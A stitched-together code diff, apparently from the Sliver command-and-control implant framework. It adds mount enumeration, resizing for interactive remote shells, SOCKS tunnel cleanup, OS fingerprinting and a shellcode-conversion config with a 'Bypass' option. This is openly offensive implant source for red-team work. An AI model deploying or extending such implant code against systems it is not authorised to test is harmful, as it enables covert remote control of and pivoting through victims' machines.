github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/illarion/gonotify/v3 v3.0.2 h1:O7S6vcopHexutmpObkeWsnzMJt/r1hONIEogeVNmJMk=
@@ -656,6 +661,10 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
github.com/sliverarmory/wasm-donut v0.0.2 h1:XAiV5MxDhSqnq4J45dZEM4u9JIN5aI1enhqNjiFGdtM=
github.com/sliverarmory/wasm-donut v0.0.2/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
github.com/sony/sonyflake v1.0.0/go.mod h1:Jv3cfhf/UFtolOTTRd3q4Nl6ENqM+KfyZ5PseKfZGF4=
github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
@@ -25,6 +25,7 @@ import (
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/implant/sliver/mount"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
@@ -56,6 +57,7 @@ var (
pb.MsgNetstatReq: netstatHandler,
pb.MsgSideloadReq: sideloadHandler,
pb.MsgMountReq: mountHandler,
pb.MsgReconfigureReq: reconfigureHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
@@ -154,6 +156,27 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mountHandler(data []byte, resp RPCResponse) {
mountReq := &pb.MountReq{}
err := proto.Unmarshal(data, mountReq)
if err != nil {
return
}
mountData, err := mount.GetMountInformation()
mountResp := &pb.Mount{
Info: mountData,
Response: &commonpb.Response{},
}
if err != nil {
mountResp.Response.Err = err.Error()
}
data, err = proto.Marshal(mountResp)
resp(data, err)
}
func getUid(fileInfo os.FileInfo) string {
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
uid_str := strconv.FormatUint(uint64(uid), 10)
+2 -1
View File
@@ -32,7 +32,8 @@ var (
tunnelHandlers = map[uint32]TunnelHandler{
// Interactive shell tunnels
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgShellResizeReq: tunnel_handlers.ShellResizeReqHandler,
// Network tunnels
sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
@@ -51,7 +51,15 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
rows := shellReq.GetRows()
cols := shellReq.GetCols()
if rows > 0xffff {
rows = 0xffff
}
if cols > 0xffff {
cols = 0xffff
}
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY, uint16(rows), uint16(cols))
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
@@ -0,0 +1,18 @@
//go:build !darwin && !linux && !freebsd && !openbsd && !dragonfly
package tunnel_handlers
import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
resp, _ := proto.Marshal(&commonpb.Empty{})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: resp,
}
}
@@ -0,0 +1,63 @@
//go:build darwin || linux || freebsd || openbsd || dragonfly
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"os"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
type ptyResizer interface {
Resize(rows, cols uint32) error
}
func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
req := &sliverpb.ShellResizeReq{}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
} else if tun := connection.Tunnel(req.TunnelID); tun != nil {
rows := req.GetRows()
cols := req.GetCols()
if rows != 0 && cols != 0 {
if resizer, ok := tun.Writer.(ptyResizer); ok {
err := resizer.Resize(rows, cols)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to resize PTY: %s", err)
// {{end}}
}
} else if f, ok := tun.Writer.(*os.File); ok {
if rows > 0xffff {
rows = 0xffff
}
if cols > 0xffff {
cols = 0xffff
}
err := pty.Setsize(f, &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to resize PTY: %s", err)
// {{end}}
}
}
}
}
resp, _ := proto.Marshal(&commonpb.Empty{})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: resp,
}
}
@@ -36,16 +36,29 @@ import (
"google.golang.org/protobuf/proto"
)
const (
inactivityCheckInterval = 4 * time.Second
inactivityTimeout = 15 * time.Second
)
type socksTunnelPool struct {
tunnels *sync.Map // map[uint64]chan []byte
tunnels *sync.Map // map[uint64]chan []byte
lastActivity *sync.Map // map[uint64]time.Time
}
var socksTunnels = socksTunnelPool{
tunnels: &sync.Map{},
tunnels: &sync.Map{},
lastActivity: &sync.Map{},
}
var socksServer *socks5.Server
// Initialize socks server
func init() {
socksServer = socks5.NewServer()
socksTunnels.startCleanupMonitor()
}
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
@@ -55,9 +68,26 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// {{end}}
return
}
time.Sleep(10 * time.Millisecond) // Necessary delay
// Check early to see if this is a close request from server
if socksData.CloseConn {
if tunnel, ok := socksTunnels.tunnels.LoadAndDelete(socksData.TunnelID); ok {
if ch, ok := tunnel.(chan []byte); ok {
close(ch)
}
}
socksTunnels.lastActivity.Delete(socksData.TunnelID)
return
}
if socksData.Data == nil {
return
}
// Record activity as soon as we get data for this tunnel
socksTunnels.recordActivity(socksData.TunnelID)
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
@@ -70,8 +100,6 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
@@ -80,7 +108,7 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// init tunnel
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
tunnelChan := make(chan []byte, 10)
tunnelChan := make(chan []byte, 100) // Buffered channel for 100 messages
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
tunnelChan <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
@@ -88,9 +116,12 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// {{if .Config.Debug}}
log.Printf("[socks] Failed to serve connection: %v", err)
// {{end}}
// Cleanup on serve failure
socksTunnels.tunnels.Delete(socksData.TunnelID)
return
}
} else {
// Will block when channel is full
tunnel.(chan []byte) <- socksData.Data
}
}
@@ -105,16 +136,22 @@ type socks struct {
}
func (s *socks) Read(b []byte) (n int, err error) {
time.Sleep(10 * time.Millisecond) // Necessary delay
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
if !ok {
return 0, errors.New("[socks] invalid tunnel id")
}
socksTunnels.recordActivity(s.stream.TunnelID)
data := <-channel.(chan []byte)
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
time.Sleep(10 * time.Millisecond) // Necessary delay
socksTunnels.recordActivity(s.stream.TunnelID)
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
@@ -136,12 +173,15 @@ func (s *socks) Write(b []byte) (n int, err error) {
}
func (s *socks) Close() error {
time.Sleep(10 * time.Millisecond) // Necessary delay
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
if !ok {
return errors.New("[socks] can't close unknown channel")
}
close(channel.(chan []byte))
// Signal to server that we need to close this tunnel
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
@@ -181,3 +221,38 @@ func (c *socks) SetReadDeadline(t time.Time) error {
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
func (s *socksTunnelPool) recordActivity(tunnelID uint64) {
s.lastActivity.Store(tunnelID, time.Now())
}
// Periodically check for inactive tunnels and clean up
func (s *socksTunnelPool) startCleanupMonitor() {
go func() {
ticker := time.NewTicker(inactivityCheckInterval)
defer ticker.Stop()
for range ticker.C {
s.tunnels.Range(func(key, value interface{}) bool {
tunnelID := key.(uint64)
lastActivityI, exists := s.lastActivity.Load(tunnelID)
if !exists {
// If no activity record exists, create one
s.recordActivity(tunnelID)
return true
}
lastActivity := lastActivityI.(time.Time)
if time.Since(lastActivity) > inactivityTimeout {
// Clean up the inactive tunnel
if ch, ok := value.(chan []byte); ok {
close(ch)
}
s.tunnels.Delete(tunnelID)
s.lastActivity.Delete(tunnelID)
}
return true
})
}
}()
}
+166
View File
@@ -0,0 +1,166 @@
//go:build darwin
package mount
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"strings"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/sys/unix"
)
func getString(input []byte) string {
ver := string(input)
if i := strings.Index(ver, "\x00"); i != -1 {
ver = ver[:i]
}
return ver
}
func formatMountFlags(flags uint32) string {
opts := make([]string, 0, 12)
if flags&unix.MNT_RDONLY != 0 {
opts = append(opts, "ro")
} else {
opts = append(opts, "rw")
}
if flags&unix.MNT_NOSUID != 0 {
opts = append(opts, "nosuid")
}
if flags&unix.MNT_NODEV != 0 {
opts = append(opts, "nodev")
}
if flags&unix.MNT_NOEXEC != 0 {
opts = append(opts, "noexec")
}
if flags&unix.MNT_SYNCHRONOUS != 0 {
opts = append(opts, "sync")
}
if flags&unix.MNT_ASYNC != 0 {
opts = append(opts, "async")
}
if flags&unix.MNT_NOATIME != 0 {
opts = append(opts, "noatime")
}
if flags&unix.MNT_JOURNALED != 0 {
opts = append(opts, "journaled")
}
if flags&unix.MNT_QUOTA != 0 {
opts = append(opts, "quota")
}
if flags&unix.MNT_UNION != 0 {
opts = append(opts, "union")
}
if flags&unix.MNT_AUTOMOUNTED != 0 {
opts = append(opts, "automounted")
}
if flags&unix.MNT_REMOVABLE != 0 {
opts = append(opts, "removable")
}
if flags&unix.MNT_DONTBROWSE != 0 {
opts = append(opts, "nobrowse")
}
if flags&unix.MNT_IGNORE_OWNERSHIP != 0 {
opts = append(opts, "ignore-ownership")
}
if flags&unix.MNT_LOCAL != 0 {
opts = append(opts, "local")
}
if flags&unix.MNT_ROOTFS != 0 {
opts = append(opts, "rootfs")
}
if flags&unix.MNT_SNAPSHOT != 0 {
opts = append(opts, "snapshot")
}
if flags&unix.MNT_CPROTECT != 0 {
opts = append(opts, "cprotect")
}
if flags&unix.MNT_NOUSERXATTR != 0 {
opts = append(opts, "nouserxattr")
}
if flags&unix.MNT_QUARANTINE != 0 {
opts = append(opts, "quarantine")
}
if flags&unix.MNT_UNKNOWNPERMISSIONS != 0 {
opts = append(opts, "unknown-permissions")
}
if flags&unix.MNT_DEFWRITE != 0 {
opts = append(opts, "defwrite")
}
if flags&unix.MNT_DOVOLFS != 0 {
opts = append(opts, "volfs")
}
if flags&unix.MNT_NOBLOCK != 0 {
opts = append(opts, "noblock")
}
if flags&unix.MNT_RELOAD != 0 {
opts = append(opts, "reload")
}
if flags&unix.MNT_UPDATE != 0 {
opts = append(opts, "update")
}
if flags&unix.MNT_EXPORTED != 0 {
opts = append(opts, "exported")
}
if flags&unix.MNT_MULTILABEL != 0 {
opts = append(opts, "multilabel")
}
if flags&unix.MNT_STRICTATIME != 0 {
opts = append(opts, "strictatime")
}
if flags&unix.MNT_FORCE != 0 {
opts = append(opts, "force")
}
return strings.Join(opts, ",")
}
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
mountInfo := make([]*sliverpb.MountInfo, 0)
count, err := unix.Getfsstat(nil, unix.MNT_NOWAIT)
if err != nil || count == 0 {
return mountInfo, err
}
stats := make([]unix.Statfs_t, count)
count, err = unix.Getfsstat(stats, unix.MNT_NOWAIT)
if err != nil {
return mountInfo, err
}
stats = stats[:count]
for _, stat := range stats {
var mountData sliverpb.MountInfo
mountData.VolumeName = getString(stat.Mntfromname[:])
mountData.MountPoint = getString(stat.Mntonname[:])
mountData.Label = "/"
mountData.VolumeType = getString(stat.Fstypename[:])
mountData.MountOptions = formatMountFlags(stat.Flags)
mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
mountData.FreeSpace = stat.Bavail * uint64(stat.Bsize)
mountData.UsedSpace = (stat.Blocks - stat.Bfree) * uint64(stat.Bsize)
mountInfo = append(mountInfo, &mountData)
}
return mountInfo, nil
}
+19 -1
View File
@@ -1,7 +1,25 @@
// +linux
//go:build linux
package mount
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"os"
+2 -3
View File
@@ -1,5 +1,6 @@
//go:build windows
// +build windows
package mount
/*
Sliver Implant Framework
@@ -19,8 +20,6 @@
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package mount
import (
"errors"
"fmt"
+1 -1
View File
@@ -1,4 +1,4 @@
// +darwin
//go:build darwin
package procdump
+24 -2
View File
@@ -2,6 +2,7 @@ package pty
import (
"os"
"path/filepath"
"syscall"
"unsafe"
)
@@ -26,8 +27,29 @@ func open() (pty, tty *os.File, err error) {
return nil, nil, err
}
pty = os.NewFile(uintptr(ptm.Cfd), "/dev/ptm")
tty = os.NewFile(uintptr(ptm.Sfd), "/dev/ptm")
cName := cString(ptm.Cn[:])
sName := cString(ptm.Sn[:])
ptyPath := "/dev/ptm"
ttyPath := "/dev/ptm"
if cName != "" {
ptyPath = filepath.Join("/dev", cName)
}
if sName != "" {
ttyPath = filepath.Join("/dev", sName)
}
pty = os.NewFile(uintptr(ptm.Cfd), ptyPath)
tty = os.NewFile(uintptr(ptm.Sfd), ttyPath)
return pty, tty, nil
}
func cString(in []int8) string {
out := make([]byte, 0, len(in))
for _, c := range in {
if c == 0 {
break
}
out = append(out, byte(c))
}
return string(out)
}
+100 -5
View File
@@ -21,13 +21,15 @@ package shell
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"os"
"os/exec"
"sync"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
)
@@ -45,9 +47,9 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, enablePty bool, rows, cols uint16) (*Shell, error) {
if enablePty {
return ptyShell(tunnelID, command)
return ptyShell(tunnelID, command, rows, cols)
}
return pipedShell(tunnelID, command)
}
@@ -98,7 +100,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
}, err
}
func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
func ptyShell(tunnelID uint64, command []string, rows, cols uint16) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
@@ -106,7 +108,7 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
term, err := pty.Start(cmd)
ptyFile, ttyFile, err := pty.Open()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
@@ -115,6 +117,39 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
return pipedShell(tunnelID, command)
}
ttyPath := ttyFile.Name()
if rows > 0 && cols > 0 {
sz := &pty.Winsize{Rows: rows, Cols: cols}
_ = pty.Setsize(ttyFile, sz)
_ = pty.Setsize(ptyFile, sz)
}
cmd.Stdout = ttyFile
cmd.Stdin = ttyFile
cmd.Stderr = ttyFile
if cmd.SysProcAttr == nil {
cmd.SysProcAttr = &syscall.SysProcAttr{}
}
cmd.SysProcAttr.Setctty = true
cmd.SysProcAttr.Setsid = true
err = cmd.Start()
if err != nil {
ptyFile.Close()
ttyFile.Close()
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
// {{end}}
cancel()
return pipedShell(tunnelID, command)
}
term := &ptyRWC{
pty: ptyFile,
tty: ttyPath,
}
_ = ttyFile.Close()
return &Shell{
ID: tunnelID,
Command: cmd,
@@ -124,6 +159,66 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
}, err
}
type ptyRWC struct {
pty *os.File
tty string
closeOnce sync.Once
}
func (p *ptyRWC) Read(b []byte) (int, error) {
return p.pty.Read(b)
}
func (p *ptyRWC) Write(b []byte) (int, error) {
return p.pty.Write(b)
}
func (p *ptyRWC) Close() error {
var retErr error
p.closeOnce.Do(func() {
if p.pty != nil {
retErr = p.pty.Close()
}
})
return retErr
}
func (p *ptyRWC) Resize(rows, cols uint32) error {
if rows > 0xffff {
rows = 0xffff
}
if cols > 0xffff {
cols = 0xffff
}
if rows == 0 || cols == 0 {
return nil
}
sz := &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)}
errTTY := error(nil)
if p.tty != "" {
ttyFile, err := os.OpenFile(p.tty, os.O_RDWR|syscall.O_NOCTTY, 0)
if err != nil {
errTTY = err
} else {
errTTY = pty.Setsize(ttyFile, sz)
_ = ttyFile.Close()
}
}
errPTY := error(nil)
if p.pty != nil {
errPTY = pty.Setsize(p.pty, sz)
}
if errTTY == nil || errPTY == nil {
return nil
}
if errTTY != nil {
return errTTY
}
return errPTY
}
// GetSystemShellPath - Find bash or sh
func GetSystemShellPath(path string) []string {
if exists(path) {
+1 -1
View File
@@ -43,7 +43,7 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
return pipedShell(tunnelID, command)
}
+1 -1
View File
@@ -62,7 +62,7 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
return pipedShell(tunnelID, command)
}
@@ -176,27 +176,6 @@ type SliverHTTPClient struct {
Options *HTTPOptions
}
// NewSliverHTTPClient constructs a client using a provided driver.
// Primarily intended for tests or custom transport wiring.
func NewSliverHTTPClient(origin string, driver HTTPDriver, opts *HTTPOptions) *SliverHTTPClient {
if opts == nil {
opts = &HTTPOptions{
Driver: goHTTPDriver,
NetTimeout: 30 * time.Second,
TlsTimeout: 30 * time.Second,
PollTimeout: 30 * time.Second,
MaxErrors: 10,
}
}
return &SliverHTTPClient{
Origin: origin,
driver: driver,
pollMutex: &sync.Mutex{},
Closed: false,
Options: opts,
}
}
// SessionInit - Initialize the session
func (s *SliverHTTPClient) SessionInit() error {
sKey := cryptography.RandomSymmetricKey()
@@ -642,29 +621,11 @@ func (s *SliverHTTPClient) parseSegments() *url.URL {
extensions = append(extensions, "{{$extension}}")
// {{end}}
files = filterTemplatePlaceholders(files)
paths = filterTemplatePlaceholders(paths)
extensions = filterTemplatePlaceholders(extensions)
curl.Path = s.pathJoinURL(s.randomPath(paths, files, extensions))
return curl
}
func filterTemplatePlaceholders(values []string) []string {
if len(values) == 0 {
return values
}
filtered := values[:0]
for _, value := range values {
if strings.Contains(value, "{{") {
continue
}
filtered = append(filtered, value)
}
return filtered
}
func (s *SliverHTTPClient) startSessionURL() *url.URL {
curl := s.parseSegments()
return curl
@@ -682,12 +643,6 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
genSegments = append(genSegments, seg)
}
}
if len(filenames) == 0 {
filenames = []string{"index"}
}
if len(exts) == 0 {
exts = []string{""}
}
filename := filenames[util.Intn(len(filenames))]
ext := exts[util.Intn(len(exts))]
@@ -696,8 +651,6 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
// {{end}}
if ext != "" {
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
} else {
genSegments = append(genSegments, filename)
}
return genSegments
}
-8
View File
@@ -52,14 +52,6 @@ var (
certPEM = `{{.Build.MtlsCert}}`
)
// SetTestCertificates allows tests to override the embedded mTLS materials.
// This should only be used in test harnesses.
func SetTestCertificates(caPEM, certPEMIn, keyPEMIn string) {
caCertPEM = caPEM
certPEM = certPEMIn
keyPEM = keyPEMIn
}
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
// which is a fancy way of saying we write the length of the message then the message
// e.g. [uint32 length|message] so the receiver can delimit messages properly
+124 -1
View File
@@ -18,6 +18,129 @@ package version
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetVersion() string {
import (
"encoding/xml"
"errors"
"fmt"
//{{if .Config.Debug}}
"log"
//{{end}}
"os"
"strings"
"golang.org/x/sys/unix"
)
type plist struct {
XMLName xml.Name `xml:"plist"`
Dict dict `xml:"dict"`
}
type dict struct {
Key []string `xml:"key"`
String []string `xml:"string"`
}
func getString(input []byte) string {
ver := string(input)
if i := strings.Index(ver, "\x00"); i != -1 {
ver = ver[:i]
}
return ver
}
func readOSRelease() string {
paths := []string{
"/System/Library/CoreServices/SystemVersion.plist",
"/System/Library/CoreServices/ServerVersion.plist",
}
for _, path := range paths {
file, err := os.Open(path)
if err != nil {
continue
}
properties, err := parsePlistFile(file)
_ = file.Close()
if err != nil {
//{{if .Config.Debug}}
log.Printf("error parsing %s: %v", path, err)
//{{end}}
continue
}
if osRelease := buildOSRelease(properties); osRelease != "" {
return osRelease
}
}
return ""
}
func parsePlistFile(file *os.File) (map[string]string, error) {
var v plist
if err := xml.NewDecoder(file).Decode(&v); err != nil {
return nil, err
}
if len(v.Dict.Key) != len(v.Dict.String) {
return nil, errors.New("invalid plist content")
}
properties := make(map[string]string, len(v.Dict.Key))
for i, key := range v.Dict.Key {
properties[key] = v.Dict.String[i]
}
return properties, nil
}
func buildOSRelease(properties map[string]string) string {
productName := properties["ProductName"]
productVersion := properties["ProductVersion"]
productBuildVersion := properties["ProductBuildVersion"]
if productName == "" || productVersion == "" || productBuildVersion == "" {
return ""
}
return fmt.Sprintf("%s %s (%s)", productName, productVersion, productBuildVersion)
}
func normalizeArch(arch string) string {
arch = strings.TrimSpace(arch)
if arch == "" {
return ""
}
switch strings.ToLower(arch) {
case "amd64":
return "x86_64"
case "i386", "i486", "i586", "i686", "x86":
return "x86"
default:
return arch
}
}
func formatDetailedVersion(osRelease, kernel, arch string) string {
parts := make([]string, 0, 3)
if osRelease != "" {
parts = append(parts, osRelease)
}
if kernel != "" {
parts = append(parts, fmt.Sprintf("kernel %s", kernel))
}
if arch != "" {
parts = append(parts, arch)
}
return strings.Join(parts, " ")
}
func GetVersion() string {
osRelease := readOSRelease()
var uname unix.Utsname
if err := unix.Uname(&uname); err != nil {
//{{if .Config.Debug}}
log.Printf("error getting OS version: %v", err)
//{{end}}
return osRelease
}
if osRelease == "" {
osRelease = getString(uname.Sysname[:])
}
kernel := getString(uname.Release[:])
arch := normalizeArch(getString(uname.Machine[:]))
return formatDetailedVersion(osRelease, kernel, arch)
}
+105 -2
View File
@@ -22,7 +22,10 @@ package version
import (
"fmt"
//{{if .Config.Debug}}
"log"
//{{end}}
"os"
"strings"
"syscall"
)
@@ -39,11 +42,111 @@ func getString(input [65]int8) string {
return ver
}
func readOSRelease() string {
paths := []string{"/etc/os-release", "/usr/lib/os-release"}
for _, path := range paths {
data, err := os.ReadFile(path)
if err != nil {
continue
}
return buildOSRelease(parseOSRelease(string(data)))
}
return ""
}
func parseOSRelease(content string) map[string]string {
values := make(map[string]string)
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
key, value, ok := strings.Cut(line, "=")
if !ok || key == "" {
continue
}
key = strings.TrimSpace(key)
value = unescape(unquote(strings.TrimSpace(value)))
values[key] = value
}
return values
}
func unquote(s string) string {
if len(s) < 2 {
return s
}
if (s[0] == '"' || s[0] == '\'') && s[0] == s[len(s)-1] {
return s[1 : len(s)-1]
}
return s
}
func unescape(s string) string {
return strings.NewReplacer(
`\$`, `$`,
`\"`, `"`,
`\'`, `'`,
`\\`, `\`,
"\\`", "`",
).Replace(s)
}
func buildOSRelease(values map[string]string) string {
name := values["NAME"]
version := values["VERSION"]
if version == "" {
version = values["VERSION_ID"]
}
if name != "" && version != "" {
return fmt.Sprintf("%s %s", name, version)
}
return values["PRETTY_NAME"]
}
func normalizeArch(arch string) string {
arch = strings.TrimSpace(arch)
if arch == "" {
return ""
}
switch strings.ToLower(arch) {
case "amd64":
return "x86_64"
case "i386", "i486", "i586", "i686", "x86":
return "x86"
default:
return arch
}
}
func formatDetailedVersion(osRelease, kernel, arch string) string {
parts := make([]string, 0, 3)
if osRelease != "" {
parts = append(parts, osRelease)
}
if kernel != "" {
parts = append(parts, fmt.Sprintf("kernel %s", kernel))
}
if arch != "" {
parts = append(parts, arch)
}
return strings.Join(parts, " ")
}
// GetVersion returns the os version information
func GetVersion() string {
osRelease := readOSRelease()
var uname syscall.Utsname
if err := syscall.Uname(&uname); err != nil {
log.Fatal(err)
//{{if .Config.Debug}}
log.Printf("error getting OS version: %v", err)
//{{end}}
return osRelease
}
return fmt.Sprintf("%s %s %s", getString(uname.Sysname), getString(uname.Nodename), getString(uname.Release))
if osRelease == "" {
osRelease = getString(uname.Sysname)
}
kernel := getString(uname.Release)
arch := normalizeArch(getString(uname.Machine))
return formatDetailedVersion(osRelease, kernel, arch)
}
File diff suppressed because it is too large. Load diff
+31 -1
View File
@@ -132,6 +132,25 @@ enum OutputFormat {
THIRD_PARTY = 4;
}
message DonutConfig {
// 1=none, 2=random names, 3=random names + symmetric encryption
uint32 Entropy = 2;
// 1=none, 2=aplib
uint32 Compress = 3;
// 1=exit thread, 2=exit process, 3=block
uint32 ExitOpt = 4;
// 1=none, 2=abort on failure, 3=continue on failure
uint32 Bypass = 5;
// 1=overwrite headers, 2=keep headers
uint32 Headers = 6;
// Run unmanaged EXE entrypoint as a new thread
bool Thread = 7;
// Convert command line to Unicode for unmanaged DLL entrypoints
bool Unicode = 8;
// Override original entry point (0 = default)
uint32 OEP = 9;
}
message ImplantConfig {
string ID = 1;
repeated ImplantBuild ImplantBuilds = 2;
@@ -184,6 +203,7 @@ message ImplantConfig {
bool RunAtLoad = 105;
string DebugFile = 106;
repeated string exports = 107;
DonutConfig DonutConfig = 108;
string HTTPC2ConfigName = 150;
